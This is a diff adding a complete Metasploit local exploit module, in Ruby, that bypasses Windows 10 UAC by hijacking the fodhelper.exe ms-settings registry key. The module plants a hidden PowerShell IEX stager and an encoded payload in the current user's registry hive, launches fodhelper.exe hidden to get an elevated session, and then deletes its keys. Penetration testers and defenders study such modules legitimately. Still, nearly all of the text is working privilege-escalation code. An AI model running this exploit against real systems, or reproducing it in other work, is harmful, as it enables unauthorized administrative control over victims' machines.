|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core/exploit/exe' |
| 7 | +require 'msf/core/exploit/powershell' |
| 8 | + |
| 9 | +class MetasploitModule < Msf::Exploit::Local |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Exploit::Powershell |
| 13 | + include Post::Windows::Priv |
| 14 | + include Post::Windows::Registry |
| 15 | + include Post::Windows::Runas |
| 16 | + |
| 17 | + FODHELPER_DEL_KEY = "HKCU\\Software\\Classes\\ms-settings".freeze |
| 18 | + FODHELPER_WRITE_KEY = "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command".freeze |
| 19 | + EXEC_REG_DELEGATE_VAL = 'DelegateExecute'.freeze |
| 20 | + EXEC_REG_VAL = ''.freeze # This maps to "(Default)" |
| 21 | + EXEC_REG_VAL_TYPE = 'REG_SZ'.freeze |
| 22 | + FODHELPER_PATH = "%WINDIR%\\System32\\fodhelper.exe".freeze |
| 23 | + CMD_MAX_LEN = 16383 |
| 24 | + |
| 25 | + def initialize(info = {}) |
| 26 | + super( |
| 27 | + update_info( |
| 28 | + info, |
| 29 | + 'Name' => 'Windows UAC Protection Bypass (Via FodHelper Registry Key)', |
| 30 | + 'Description' => %q{ |
| 31 | + This module will bypass Windows 10 UAC by hijacking a special key in the Registry under |
| 32 | + the current user hive, and inserting a custom command that will get invoked when |
| 33 | + the Windows fodhelper.exe application is launched. It will spawn a second shell that has the UAC |
| 34 | + flag turned off. |
| 35 | +
|
| 36 | + This module modifies a registry key, but cleans up the key once the payload has |
| 37 | + been invoked. |
| 38 | +
|
| 39 | + The module does not require the architecture of the payload to match the OS. If |
| 40 | + specifying EXE::Custom your DLL should call ExitProcess() after starting your |
| 41 | + payload in a separate process. |
| 42 | + }, |
| 43 | + 'License' => MSF_LICENSE, |
| 44 | + 'Author' => [ |
| 45 | + 'winscriptingblog', # UAC bypass discovery and research |
| 46 | + 'amaloteaux', # MSF module |
| 47 | + ], |
| 48 | + 'Platform' => ['win'], |
| 49 | + 'SessionTypes' => ['meterpreter'], |
| 50 | + 'Targets' => [ |
| 51 | + [ 'Windows x86', { 'Arch' => ARCH_X86 } ], |
| 52 | + [ 'Windows x64', { 'Arch' => ARCH_X64 } ] |
| 53 | + ], |
| 54 | + 'DefaultTarget' => 0, |
| 55 | + 'References' => [ |
| 56 | + [ |
| 57 | + 'URL', 'https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/', |
| 58 | + 'URL', 'https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1' |
| 59 | + ] |
| 60 | + ], |
| 61 | + 'DisclosureDate' => 'May 12 2017' |
| 62 | + ) |
| 63 | + ) |
| 64 | + end |
| 65 | + |
| 66 | + def check |
| 67 | + if sysinfo['OS'] =~ /Windows (10)/ && is_uac_enabled? |
| 68 | + Exploit::CheckCode::Appears |
| 69 | + else |
| 70 | + Exploit::CheckCode::Safe |
| 71 | + end |
| 72 | + end |
| 73 | + |
| 74 | + def exploit |
| 75 | + commspec = '%COMSPEC%' |
| 76 | + registry_view = REGISTRY_VIEW_NATIVE |
| 77 | + psh_path = "%WINDIR%\\System32\\WindowsPowershell\\v1.0\\powershell.exe" |
| 78 | + |
| 79 | + # Make sure we have a sane payload configuration |
| 80 | + if sysinfo['Architecture'] == ARCH_X64 |
| 81 | + if session.arch == ARCH_X86 |
| 82 | + # fodhelper.exe is x64 only exe |
| 83 | + commspec = '%WINDIR%\\Sysnative\\cmd.exe' |
| 84 | + if target_arch.first == ARCH_X64 |
| 85 | + # We can't use absolute path here as |
| 86 | + # %WINDIR%\\System32 is always converted into %WINDIR%\\SysWOW64 from a x86 session |
| 87 | + psh_path = "powershell.exe" |
| 88 | + end |
| 89 | + end |
| 90 | + if target_arch.first == ARCH_X86 |
| 91 | + # Invoking x86, so switch to SysWOW64 |
| 92 | + psh_path = "%WINDIR%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe" |
| 93 | + end |
| 94 | + else |
| 95 | + # if we're on x86, we can't handle x64 payloads |
| 96 | + if target_arch.first == ARCH_X64 |
| 97 | + fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System') |
| 98 | + end |
| 99 | + end |
| 100 | + |
| 101 | + if !payload.arch.empty? && (payload.arch.first != target_arch.first) |
| 102 | + fail_with(Failure::BadConfig, 'payload and target should use the same architecture') |
| 103 | + end |
| 104 | + |
| 105 | + # Validate that we can actually do things before we bother |
| 106 | + # doing any more work |
| 107 | + check_permissions! |
| 108 | + |
| 109 | + case get_uac_level |
| 110 | + when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, |
| 111 | + UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, |
| 112 | + UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT |
| 113 | + fail_with(Failure::NotVulnerable, |
| 114 | + "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...") |
| 115 | + when UAC_DEFAULT |
| 116 | + print_good('UAC is set to Default') |
| 117 | + print_good('BypassUAC can bypass this setting, continuing...') |
| 118 | + when UAC_NO_PROMPT |
| 119 | + print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead') |
| 120 | + shell_execute_exe |
| 121 | + return |
| 122 | + end |
| 123 | + |
| 124 | + payload_value = rand_text_alpha(8) |
| 125 | + psh_path = expand_path(psh_path) |
| 126 | + |
| 127 | + template_path = Rex::Powershell::Templates::TEMPLATE_DIR |
| 128 | + psh_payload = Rex::Powershell::Payload.to_win32pe_psh_net(template_path, payload.encoded) |
| 129 | + |
| 130 | + if psh_payload.length > CMD_MAX_LEN |
| 131 | + fail_with(Failure::None, "Payload size should be smaller then #{CMD_MAX_LEN} (actual size: #{psh_payload.length})") |
| 132 | + end |
| 133 | + |
| 134 | + psh_stager = "\"IEX (Get-ItemProperty -Path #{FODHELPER_WRITE_KEY.gsub('HKCU', 'HKCU:')} -Name #{payload_value}).#{payload_value}\"" |
| 135 | + cmd = "#{psh_path} -nop -w hidden -c #{psh_stager}" |
| 136 | + |
| 137 | + existing = registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, registry_view) || "" |
| 138 | + exist_delegate = !registry_getvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view).nil? |
| 139 | + |
| 140 | + if existing.empty? |
| 141 | + registry_createkey(FODHELPER_WRITE_KEY, registry_view) |
| 142 | + end |
| 143 | + |
| 144 | + print_status("Configuring payload and stager registry keys ...") |
| 145 | + unless exist_delegate |
| 146 | + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, '', EXEC_REG_VAL_TYPE, registry_view) |
| 147 | + end |
| 148 | + |
| 149 | + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, cmd, EXEC_REG_VAL_TYPE, registry_view) |
| 150 | + registry_setvaldata(FODHELPER_WRITE_KEY, payload_value, psh_payload, EXEC_REG_VAL_TYPE, registry_view) |
| 151 | + |
| 152 | + # Calling fodhelper.exe through cmd.exe allow us to launch it from either x86 or x64 session arch. |
| 153 | + cmd_path = expand_path(commspec) |
| 154 | + cmd_args = expand_path("/c #{FODHELPER_PATH}") |
| 155 | + print_status("Executing payload: #{cmd_path} #{cmd_args}") |
| 156 | + |
| 157 | + # We can't use cmd_exec here because it blocks, waiting for a result. |
| 158 | + client.sys.process.execute(cmd_path, cmd_args, { 'Hidden' => true }) |
| 159 | + |
| 160 | + # Wait a copule of seconds to give the payload a chance to fire before cleaning up |
| 161 | + # TODO: fix this up to use something smarter than a timeout? |
| 162 | + Rex::sleep(5) |
| 163 | + |
| 164 | + handler(client) |
| 165 | + |
| 166 | + print_status("Cleaining up registry keys ...") |
| 167 | + unless exist_delegate |
| 168 | + registry_deleteval(FODHELPER_WRITE_KEY, EXEC_REG_DELEGATE_VAL, registry_view) |
| 169 | + end |
| 170 | + if existing.empty? |
| 171 | + registry_deletekey(FODHELPER_DEL_KEY, registry_view) |
| 172 | + else |
| 173 | + registry_setvaldata(FODHELPER_WRITE_KEY, EXEC_REG_VAL, existing, EXEC_REG_VAL_TYPE, registry_view) |
| 174 | + end |
| 175 | + registry_deleteval(FODHELPER_WRITE_KEY, payload_value, registry_view) |
| 176 | + end |
| 177 | + |
| 178 | + def check_permissions! |
| 179 | + fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system? |
| 180 | + |
| 181 | + # Check if you are an admin |
| 182 | + vprint_status('Checking admin status...') |
| 183 | + admin_group = is_in_admin_group? |
| 184 | + |
| 185 | + unless check == Exploit::CheckCode::Appears |
| 186 | + fail_with(Failure::NotVulnerable, "Target is not vulnerable.") |
| 187 | + end |
| 188 | + |
| 189 | + unless is_in_admin_group? |
| 190 | + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') |
| 191 | + end |
| 192 | + |
| 193 | + print_status('UAC is Enabled, checking level...') |
| 194 | + if admin_group.nil? |
| 195 | + print_error('Either whoami is not there or failed to execute') |
| 196 | + print_error('Continuing under assumption you already checked...') |
| 197 | + else |
| 198 | + if admin_group |
| 199 | + print_good('Part of Administrators group! Continuing...') |
| 200 | + else |
| 201 | + fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module') |
| 202 | + end |
| 203 | + end |
| 204 | + |
| 205 | + if get_integrity_level == INTEGRITY_LEVEL_SID[:low] |
| 206 | + fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level') |
| 207 | + end |
| 208 | + end |
| 209 | +end |
0 commit comments